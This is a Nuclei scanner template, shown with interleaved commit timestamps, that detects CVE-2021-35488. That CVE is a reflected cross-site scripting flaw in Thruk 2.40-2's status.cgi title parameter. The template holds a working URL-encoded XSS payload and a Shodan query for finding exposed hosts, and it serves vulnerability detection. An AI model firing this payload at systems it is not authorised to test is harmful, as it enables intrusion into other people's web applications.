2022-08-14 21:31:30 +00:00
id : CVE-2021-35488
info :
2022-09-09 17:34:37 +00:00
name : Thruk 2.40-2 - Cross-Site Scripting
2022-08-14 21:31:30 +00:00
author : arafatansari
2022-09-10 02:12:57 +00:00
severity : medium
2022-08-14 21:31:30 +00:00
description : |
2022-09-10 01:55:52 +00:00
Thruk 2.40-2 contains a cross-site scripting vulnerability via /thruk/#cgi-bin/status.cgi?style=combined&title={TITLE] in the host or title parameter. An attacker can inject arbitrary JavaScript into status.cgi, leading to a triggered payload when accessed by an authenticated user.
2022-08-14 21:31:30 +00:00
reference :
- https://www.gruppotim.it/redteam
2022-08-16 18:32:30 +00:00
- https://www.thruk.org/changelog.html
2022-09-10 01:55:52 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-35488
2022-08-15 06:34:19 +00:00
classification :
2022-08-16 18:32:30 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-08-15 06:34:19 +00:00
cve-id : CVE-2021-35488
2022-08-16 18:32:30 +00:00
cwe-id : CWE-79
2022-08-14 21:31:30 +00:00
metadata :
shodan-query : http.html:"Thruk"
2022-08-16 18:32:30 +00:00
verified : "true"
2022-08-15 06:34:19 +00:00
tags : cve,cve2021,thruk,xss
2022-08-14 21:31:30 +00:00
requests :
- method : GET
path :
2022-08-15 06:34:19 +00:00
- "{{BaseURL}}/thruk/cgi-bin/login.cgi?thruk/cgi-bin/status.cgi%3fstyle=combined&title=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-08-14 21:31:30 +00:00
matchers-condition : and
matchers :
2022-08-15 06:34:19 +00:00
- type : word
words :
- "'></script><script>alert(document.domain)</script>"
- "Thruk Monitoring"
condition : and
2022-08-14 21:31:30 +00:00
- type : status
status :
- 401
2022-09-10 01:55:52 +00:00
# Enhanced by md on 2022/09/08